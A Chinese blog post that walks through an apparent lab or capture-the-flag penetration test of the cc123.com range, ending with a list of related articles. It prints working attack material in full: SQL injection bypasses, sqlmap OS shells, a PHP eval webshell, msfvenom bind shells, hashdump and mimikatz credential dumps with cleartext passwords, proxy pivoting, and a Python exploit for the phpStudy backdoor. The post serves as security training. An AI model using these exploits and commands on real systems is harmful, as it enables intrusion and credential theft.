综合渗透测试实战项目

最新推荐文章于 2024-05-20 08:43:19 发布
最新推荐文章于 2024-05-20 08:43:19 发布
阅读量6.3k 收藏 44
点赞数 4
分类专栏： 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_42094992/article/details/113698579
版权

目录

 

1.项目网络拓扑

1.信息收集

netdiscover进行主机发现

端口服务探测

子域名收集

new.cc123.com后台目录扫描

可以参考百度得目录结构

ww2.cc123.com目录扫描

2.漏洞利用

测试站点 http://new.cc123.com/member/

这里我们登入后台

蚁剑连接无法执行命令

我们在次上传asp大马和asp脚本进行扫描可写目录

MSF生成shell脚本上传进行反弹shell

MSF提权

测试站点  ww2.cc123.com

获取flag3

.net代码审计

3.内网渗透

内网信息收集

网卡信息

路由信息

哈希获取

使用mimikatz获取明文

添加路由

探测内网存活主机

启动socks代理

查看Web.config文件获取账号密码

msf生成正向的shell

MSF监听正向shell

数据库服务器信息收集

mimikatz抓取密码

内网主机扫描

代理访问10.10.1.129:80

phpstuday后门利用

编写python后门利用脚本

写入PHP一句话

使用蚁剑代理连接php一句话

上传msf正向shell

内网目标机器信息收集

1.项目网络拓扑

1.信息收集

netdiscover进行主机发现

sudo netdiscover -i eth0 -r 192.168.3.0/24

端口服务探测

这里使用两款工具一款是nmap

nmap -A 192.168.3.134 -p- -oN nmap.a
kali@ToolsScannerKali20201:~/Desktop$ nmap -A 192.168.3.134 -p- -oN nmap.a
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-05 05:42 EST
Nmap scan report for 192.168.3.134
Host is up (0.00052s latency).
Not shown: 65526 filtered ports
PORT      STATE SERVICE            VERSION
21/tcp    open  ftp                Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain             Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp    open  http               Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
135/tcp   open  msrpc              Microsoft Windows RPC
999/tcp   open  http               Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry 
|_/                                                                                                                                   
|_http-server-header: Microsoft-IIS/7.5                                                                                               
|_http-title: phpMyAdmin                                                                                                              
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-date: 2021-02-05T10:44:48+00:00; 0s from scanner time.
6588/tcp  open  http               Microsoft IIS httpd 7.5
| http-cookie-flags: 
|   /: 
|     ASPSESSIONIDSQSRBBAD: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: \xBB\xA4\xCE\xC0\xC9\xF1\xA1\xA4\xD6\xF7\xBB\xFA\xB4\xF3\xCA\xA6 V3.5.1 - \xC7\xB0\xCC\xA8\xB5\xC7\xC2\xBC
49155/tcp open  msrpc              Microsoft Windows RPC
49156/tcp open  msrpc              Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 227.24 seconds

发现这是一台DNS服务器我跟可以添加本地DNS域名解析指向此服务器。

子域名收集

wfuzz穷举子域名

wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53

new.cc123.com后台目录扫描

kali@ToolsScannerKali20201:~/Desktop$ gobuster dir -u http://new.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://new.cc123.com
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/05 07:30:44 Starting gobuster
===============================================================
/images (Status: 301)
/news (Status: 301)
/contact (Status: 301)
/about (Status: 301)
/faq (Status: 301)
/help (Status: 301)
/uploads (Status: 301)
/data (Status: 301)
/a (Status: 301)
/Images (Status: 301)
/News (Status: 301)
/member (Status: 301)
/FAQ (Status: 301)
/special (Status: 301)
/m (Status: 301)
/Contact (Status: 301)
/About (Status: 301)
/install (Status: 301)
/Help (Status: 301)
/plus (Status: 301)
/A (Status: 301)
/M (Status: 301)
/include (Status: 301)
/cp (Status: 301)
/NEWS (Status: 301)
/skin (Status: 301)
/case (Status: 301)
/INSTALL (Status: 301)
/CP (Status: 301)
/IMAGES (Status: 301)
/Data (Status: 301)
/Special (Status: 301)
/Uploads (Status: 301)
/Member (Status: 301)
/Faq (Status: 301)
/Install (Status: 301)
/CONTACT (Status: 301)
/Include (Status: 301)
/ABOUT (Status: 301)
/HELP (Status: 301)
/DATA (Status: 301)
/CASE (Status: 301)
/Skin (Status: 301)
/Case (Status: 301)
===============================================================
2021/02/05 07:31:13 Finished
===============================================================

 

可以参考百度得目录结构

ww2.cc123.com目录扫描

 

2.漏洞利用

测试站点 http://new.cc123.com/member/

添加分类进行sql注入

这里MD5很明显多了一位  因为MD5加密后是32位为双数位

812df726be884ddcfc41 admin7788

这里我们登入后台

这里我们上传PHP一句话获取webshell

蚁剑连接无法执行命令

我们在次上传asp大马和asp脚本进行扫描可写目录

MSF生成shell脚本上传进行反弹shell

MSF提权

检测提权漏洞

meterpreter > 
meterpreter > background 
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
msf5 post(multi/recon/local_exploit_suggester) > set session 1


shell

chcp 65001   //解决编码问题

flag1

flag2

测试站点  ww2.cc123.com

kali@ToolsScannerKali20201:~/Desktop$ gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "aspx,html"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://ww2.cc123.com
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     aspx,html
[+] Timeout:        10s
===============================================================
2021/02/05 08:50:39 Starting gobuster
===============================================================
/admin (Status: 301)
/index.aspx (Status: 200)
/index.html (Status: 200)
/product.aspx (Status: 200)
/product.html (Status: 200)
/News.aspx (Status: 200)
/News.html (Status: 200)
/template (Status: 301)
/About.aspx (Status: 200)
/About.html (Status: 200)
/Index.aspx (Status: 200)
/Index.html (Status: 200)
/style (Status: 301)
/about.aspx (Status: 200)
/about.html (Status: 200)
[ERROR] 2021/02/05 08:50:58 [!] Get http://ww2.cc123.com/messages.html: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/editor (Status: 301)
/message.aspx (Status: 200)
/message.html (Status: 200)
/stat.aspx (Status: 200)
/NEWS.aspx (Status: 200)
/NEWS.html (Status: 200)
/index_html (Status: 200)
/index_html.aspx (Status: 200)
/index_html.html (Status: 200)
[ERROR] 2021/02/05 08:51:09 [!] Get http://ww2.cc123.com/Product.html: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/news2.html (Status: 200)
/news1.html (Status: 200)
/uc (Status: 301)
/INDEX.aspx (Status: 200)
/INDEX.html (Status: 200)
/Admin (Status: 301)
/Template (Status: 301)
/news3.html (Status: 200)
/about1.html (Status: 200)
/news01.html (Status: 200)
/Message.aspx (Status: 200)
/Message.html (Status: 200)
/about2.html (Status: 200)
/Style (Status: 301)
/news11.html (Status: 200)
/news4.html (Status: 200)
/news03.html (Status: 200)
/news5.html (Status: 200)
/upimg (Status: 301)
/Messages.html (Status: 200)
/news06.html (Status: 200)
/news02.html (Status: 200)
/news04.html (Status: 200)
/news12.html (Status: 200)
/about3.html (Status: 200)
/news10.html (Status: 200)
/news16.html (Status: 200)
/product1.html (Status: 200)
/news8.html (Status: 200)
/news17.html (Status: 200)
/news15.html (Status: 200)
/news9.html (Status: 200)
/STYLE (Status: 301)
/news23.html (Status: 200)
/news7.html (Status: 200)
/news13.html (Status: 200)
/news05.html (Status: 200)
/News2.html (Status: 200)
/news6.html (Status: 200)
/news20.html (Status: 200)
/news21.html (Status: 200)
/news14.html (Status: 200)
/news25.html (Status: 200)
/Editor (Status: 301)
/product3.html (Status: 200)
/product2.html (Status: 200)
/ABOUT.aspx (Status: 200)
/ABOUT.html (Status: 200)
/UC (Status: 301)
/news18.html (Status: 200)
/news19.html (Status: 200)
/PRODUCT.aspx (Status: 200)
/PRODUCT.html (Status: 200)
/news22.html (Status: 200)
/news28.html (Status: 200)
/News1.html (Status: 200)
/news003.html (Status: 200)
/about4.html (Status: 200)
/news001.html (Status: 200)
/news48.html (Status: 200)
/news30.html (Status: 200)
/news26.html (Status: 200)
/product02.html (Status: 200)
/news55.html (Status: 200)
/news07.html (Status: 200)
/news09.html (Status: 200)
/news29.html (Status: 200)
/TEMPLATE (Status: 301)
===============================================================
2021/02/05 09:01:13 Finished
===============================================================
http://ww2.cc123.com/admin 管理后台
http://ww2.cc123.com/editor 编辑器

后台管理界面登陆框存在SQL注入可绕过密码匹配带入到数据库进行查询

可能是通过sql查询方法进行登录验证。
select * from user where username = 'admin'--+' and password = *****

后台界面修改信息传参处出现sql注入。

sqlmap -r sqlpost.txt --batch

获取sqlmap获取shell

sudo sqlmap -r sqlpost.txt mssql -v 1 --dbs
sudo sqlmap -r sqlpost.txt mssql -v 1 --os-shell

这里我们看到IP为10.10.1.128证明这台机器为内网得数据库服务器，web站点和数据库分离的形式。

获取flag3

.net代码审计

meterpreter > download c:/HwsHostMaster/wwwroot/ww2cc123_55m39g/web/bin

3.内网渗透

内网信息收集

网卡信息

ipconfig

meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:71:98:af
MTU          : 1500
IPv4 Address : 192.168.3.134
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::c1e2:d216:9dad:969b
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:c0a8:386
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 13
============
Name         : Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:71:98:b9
MTU          : 1500
IPv4 Address : 10.10.10.135
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::2c1c:e958:d8c2:1189
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 14
============
Name         : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : fe80::5efe:a0a:a87
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

两个网卡分别对应两个ip

192.168.3.134 / 10.10.10.135

路由信息

meterpreter > run get_local_subnets

两个网段

哈希获取

meterpreter > run hashdump 

[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 20401422a21274279449907862e9d520...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:1c933df09b600efabee0791aaccc43f2:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:6a75a75e4cfd3cf00faf743e17e90a53:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:a14b615c584d6b043f42f1cfab9779cd:::
huweishen542147:1004:aad3b435b51404eeaad3b435b51404ee:c76eea2615348c5228f7027d3ccab02d:::
cc123:1005:aad3b435b51404eeaad3b435b51404ee:afdeb425b4a55982deb4e80fa3387576:::
newcc123:1007:aad3b435b51404eeaad3b435b51404ee:97824315153b4dd665d6c688f446ebf1:::
ww2cc123:1008:aad3b435b51404eeaad3b435b51404ee:adadf2dd832421c26a96705fd09a32bd:::

使用mimikatz获取明文

migrate 1500

先进行进程前移，防止之后的mimikatz获取密码发生一些错误。

load mimikatz
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords
wdigest
tspkg

0;6131477   NTLM       WIN-KALKEMT3JMA  cc123             Ht6_ifp6nvkjn
0;14708785  NTLM       WIN-KALKEMT3JMA  newcc123          ZtKGmDj0qEbDECSBl5p
0;8663175   NTLM       WIN-KALKEMT3JMA  newcc123          ZtKGmDj0qEbDECSBl5p
0;771729    NTLM       WIN-KALKEMT3JMA  Administrator     !@#Qwe123.

添加路由

run autoroute -s 10.10.10.0/24

 

探测内网存活主机

MSF内网主机探测
meterpreter > run post/windows/gather/arp_scanner rhosts=10.10.10.0/24
端口扫描
msf5 auxiliary(scanner/portscan/tcp) > use auxiliary/scanner/portscan/tcp 
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.135
msf5 auxiliary(scanner/portscan/tcp) > exploit 

[+] 10.10.10.135:         - 10.10.10.135:21 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:53 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:80 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:139 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:135 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:445 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:999 - TCP OPEN
^C[*] 10.10.10.135:         - Caught interrupt from the console...
[*] Auxiliary module execution completed

meterpreter > run post/windows/gather/arp_scanner rhosts=10.10.10.0/24

[*] Running module against WIN-KALKEMT3JMA
[*] ARP Scanning 10.10.10.0/24
[+]     IP: 10.10.10.1 MAC 00:50:56:c0:00:13 (VMware, Inc.)
[+]     IP: 10.10.10.135 MAC 00:0c:29:71:98:b9 (VMware, Inc.)
[+]     IP: 10.10.10.136 MAC 00:0c:29:43:9b:46 (VMware, Inc.)
[+]     IP: 10.10.10.254 MAC 00:50:56:eb:d5:a8 (VMware, Inc.)
[+]     IP: 10.10.10.255 MAC 00:0c:29:71:98:b9 (VMware, Inc.)
meterpreter > background 
[*] Backgrounding session 2...


msf5 auxiliary(scanner/portscan/tcp) > exploit 

[+] 10.10.10.135:         - 10.10.10.135:21 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:53 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:80 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:139 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:135 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:445 - TCP OPEN
[+] 10.10.10.135:         - 10.10.10.135:999 - TCP OPEN
^C[*] 10.10.10.135:         - Caught interrupt from the console...
[*] Auxiliary module execution completed

 

启动socks代理

msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 2222
msf5 auxiliary(server/socks4a) > options
msf5 auxiliary(server/socks4a) > run

nmap代理扫描

sudo vim /etc/proxychains.conf
sudo proxychains nmap -sT -Pn 10.10.10.136

Nmap scan report for 10.10.10.136
Host is up (1.1s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
2383/tcp  open  ms-olap4
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1066.56 seconds
 

我们的sqlmap获取的shell不是交互式shell我们通过之前的aspx大马连接数据库上传一个正向shell进行连接

查看Web.config文件获取账号密码

<add key="ConnectionString" value="server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123.." />

msf生成正向的shell

msfvenom -p windows/meterpreter/bind_tcp lport=54321 -f exe>shell.exe

上传正向shell执行命令

MSF监听正向shell

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.136
set lport 54321
run

数据库服务器信息收集

hash收集

Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

mimikatz抓取密码

 

[0] { Administrator ; WIN-JJU7KU45PN7 ; !@#QWEasd123. }
[1] { Administrator ; WIN-JJU7KU45PN7 ; !@#QWEasd123. }
[2] { WIN-JJU7KU45PN7 ; Administrator ; !@#QWEasd123. }
IPv4 Address : 10.10.1.128
IPv4 Netmask : 255.255.255.0
IPv4 Address : 10.10.10.136
IPv4 Netmask : 255.255.255.0

Local subnet: 10.10.1.0/255.255.255.0
Local subnet: 10.10.10.0/255.255.255.0

内网主机扫描

run autoroute -s 10.10.1.0/24
run post/windows/gather/arp_scanner rhosts=10.10.1.0/24

目标 IP 10.10.1.129

端口扫描

[+] 10.10.1.129:          - 10.10.1.129:80 - TCP OPEN
[+] 10.10.1.129:          - 10.10.1.129:135 - TCP OPEN
[+] 10.10.1.129:          - 10.10.1.129:139 - TCP OPEN
[+] 10.10.1.129:          - 10.10.1.129:445 - TCP OPEN
[+] 10.10.1.129:          - 10.10.1.129:3306 - TCP OPEN

代理访问10.10.1.129:80

proxychains firefox http://10.10.1.129

phpstuday后门利用

编写python后门利用脚本

#conding:utf-8

import requests
import sys
import base64

shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))

header={'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}

def exploit(url):
    html = requests.get(url=url,headers=header).text
    return html

url = "http://10.10.1.129/"
print(exploit(url))

写入PHP一句话

proxychains python3 ./phpstudayexp.py "echo ^<?php @eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"

使用蚁剑代理连接php一句话

更改proxychains代理ip

要在 kali 的 /etc/proxychains.conf
把 127.0.0.1 改成 kali 的 ip 不然物理机代理会失败

上传msf正向shell

内网目标机器信息收集

Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : target
BootKey    : 317aebcebbff049827a6e7f1c7c8bc2e

Rid  : 500
User : Administrator
LM   : 
NTLM : 15132c3d36a7e5d7905e02b478979046

Rid  : 501
User : Guest
LM   : 
NTLM : 
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; TARGET ; !@#QWEasd123. }
[1] { TARGET ; Administrator ; !@#QWEasd123. }
[2] { Administrator ; TARGET ; !@#QWEasd123. }
 

 

 

火中的冰~
关注
  • 4
    点赞
  • 踩
  • 44
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
2021-10-074号靶场转自y神的学习笔记（net渗透，sockcap，msf多重网段渗透，os-shell，验证码重放，C#解密，wfuzz穷举subdomain）
qq_45290991的博客
10-07 2368
masscan扫描 kali@kali:~$ sudo masscan -p 1-65535 192.168.0.134 --rate=1000 [sudo] kali 的密码： Starting masscan 1.0.5 (http://bit.ly/14GZzc...
XXXX项目渗透测试工作流程规范
07-18
渗透测试还具有的两个显著特点是：渗透测试是一个渐进的并且逐步深入的过程。渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。简单来说渗透测试就是安全评估的一种方法
内网安全攻防渗透测试实战指南.pptx
07-01
内网安全攻防渗透测试实战指南
网络安全技能竞赛之Web安全之综合渗透测试
旺仔Sec&blog
06-06 2169
通过url访问http：//靶机/6，对该页面进行渗透测试，将完成后返回的结果内容作为flag提交
一次渗透测试实战
最新发布
qq_53058639的博客
05-20 673
通过这一次渗透测试的实战经历，让我对自己的信息收集和漏洞利用方面的思路得到了提升，但在权限提升，内网渗透方面学习的比较浅，还需要继续学习。接下来我将给各位同学划分一张学习计划表！
Web安全之综合渗透测试
明裕学长的博客
05-24 1827
任务环境说明：服务器场景：Web2003-2服务器场景用户名、密码：未知（关闭链接） 渗透机环境说明：BT5渗透机用户名：root密码：toorKali渗透机用户名：root密码：toorWindows7渗透机用户名：administrator密码：123456 Web2003-2--1 172.16.105.248 1、通过URL访问http://靶机IP/1，对该页面进行渗透测试,将完成后返回的结果内容作为Flag值提交； Flag[flag{htmlcode}] 操作如下 在浏览器中输入
网络安全—综合渗透实验
dexi113的博客
07-11 1741
操作机通过wireshark分析root目录下的cap包，发现网络中192.168.1.4提供ftp服务，操作机通过ettercap嗅探192.168.1.4的网络信息，获取ftp帐号和密码,通过ftp帐号密码登陆ftp服务器获取key.txt文件内容。提交key1.txt文件。2、使用安装包中的openvpn.exe文件在192.168.1.5服务器搭建vpn客户端，拔号连接192.168.1.6上的vpn服务，通过VPN分配的IP地址nat后正常访问2.3的网站,可获取网站目录下的key04.txt。
完整的渗透测试靶场通关
NZXHJ的博客
07-15 2437
记录一次比较系统的内网渗透靶场通关的文章
渗透测试方法共有多少种方法？_渗透测试包括哪些
yy1715713348的博客
01-12 707
按照类型的不同，渗透测试方法可以分为一下6类：1、网络服务2、Web应用程序3、客户端4、无线网5、6、物理渗透测试每种方法的渗透测试都需要特定的知识、方法和工具来执行，并且。网络服务渗透测试是最常见的渗透测试类型之一。该种渗透测试，是在组织的网络基础设施（服务器、防火墙、交换机、路由器、打印机、工作站等）中识别出最暴露的漏洞和安全弱点，然后再被利用。执行的目的是以保护的企业免受常见的基于网络的攻击，包括：• 防火墙错误配置和绕过防火墙• IPS/IDS规避攻击。
中职网络安全B模块HTTP.SYS 漏洞利用及加固
FRANXX_02的博客
11-28 464
6.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试，通过metasploit 调用 Http.sys 漏洞利用模块，配置相关参数针对靶机再次进行漏洞检测，将扫描结果第一行字符串作为 flag 提交。4.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试，通过metasploit 调用 Http.sys 漏洞利用模块，配置相关参数针对靶机进行漏洞检测，将扫描结果第一行字符串作为 flag 提交。通过漏洞利用靶机蓝屏重启了，然后需要取消启用内核缓存。
HTTP Methods 测试
吕小小布的博客
09-27 1123
翻译 摘要 HTTP提供了许多方法，可用于在Web服务器上执行操作。这些方法中的许多方法旨在帮助开发人员部署和测试HTTP应用程序。如果Web服务器配置错误，则这些HTTP方法可用于恶意目的。此外，还检查了跨站点跟踪（XST）（一种使用服务器的HTTP TRACE方法的跨站点脚本编写形式）。 尽管GET和POST是迄今为止用于访问Web服务器提供的信息的最常用方法，但是超文本传输​​协议（H...
Metasploit常用后渗透脚本——远程监视
渗透测试
06-05 2285
文章目录前言一、迁移进程二、安装远程VNC会话三、关闭杀毒软件四、获取系统密码哈希值五、查看目标机上的所有流量六、提取系统信息七、控制持久化八、查看更多脚本总结 前言 本文详细介绍了metasploit获取meterpreter权限常用的后渗透脚本的功能和实践过程 测试环境 描述 ip 主机 kali 2020 192.168.1.113 靶机 winxp sp3 192.168.1.106 首先使用ms08_067渗透模块对靶机进行渗透测试，详细步骤看 ms08_067漏洞渗透步
iis+httpd.ini实现伪静态
10-10
内涵发布基于httpd.ini方式的伪静态式网站的方式文档，以及要用到的文件。
网络安全-渗透完整笔记
03-27
总的来说，网络安全的渗透测试是一门综合性的技术，涵盖漏洞分析、代码审计、网络扫描、攻击执行、后门部署、免杀技术等多个方面。学习这些知识不仅能够帮助安全专家提高防御能力，也能使攻击者了解如何实施更有效的...
(完整版)攻防实验室建设.docx
11-05
实战平台则更注重实践，提供信息安全基础知识考核、攻防技术训练和渗透实战，旨在提升学生的综合防护和渗透测试能力。防护实训平台则在学生进行渗透测试后，进行安全评估和系统加固，确保网络攻防技能的全面性。 ...
HackingDay 2019 (GuangZhou·China)PPT汇总（4份）.zip
01-03
综合以上四份文件，我们可以看出这次HackingDay 2019广州会议聚焦了当前信息安全的关键领域，包括供应链安全、企业内部的域渗透技术、网络安全的实战策略以及将黑客精神融入日常生活。这些主题不仅反映了当前的安全...
3天教你一招渗透江湖绝学【视频课程】下载整理.zip
08-20
【压缩包子文件的文件名称列表】"【程序分享】"可能包含了一系列的代码示例、实战项目文件或者相关工具的安装包，供学习者下载和实践。这些资源将帮助学员亲手操作，增强对渗透测试的理解和应用能力。 综合以上信息...
面向综合能力提升的移动网络安全课程建设实践.pdf
09-19
再者，【实战能力】的培养借助于【线上实验教学平台】，让学生在模拟环境中进行实战演练，如进行渗透测试、漏洞扫描和安全配置检查等，以提高他们在真实环境下的应对能力。 最后，【创新能力】的培养则鼓励学生探索...
第18节 渗透测试流程和简单案例
Fighting_hawk的博客
12-19 4431
本节主要围绕网络渗透流程这一主题，从概述入手介绍主要步骤，随后对每个步骤采用一个小实验进行讲解分析。
kali渗透测试实战项目
08-26
Kali渗透测试实战项目是一种以Kali Linux为基础的实际渗透测试项目，旨在模拟真实的网络环境并测试其安全性。这种项目通常由安全团队或专业渗透测试人员执行，以识别潜在的漏洞和弱点，并提供解决方案来加强网络的安全性。 在Kali渗透测试实战项目中，渗透测试人员将使用各种工具和技术来模拟攻击者的行为，以评估目标系统的安全性。这可能包括网络侦察、漏洞扫描、密码破解、社交工程等。通过这些活动，渗透测试人员可以发现系统中的薄弱点，并向组织提供修复建议以提高其安全性。 需要注意的是，进行Kali渗透测试实战项目时必须获得合法授权，并遵守法律和道德准则。此外，项目执行过程中还应与相关的组织或个人进行充分的沟通和协商，确保双方的利益得到保护。 总之，Kali渗透测试实战项目是一种有助于提高网络安全性的实际实践活动，通过模拟真实攻击场景来评估和加强系统的安全防护能力。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值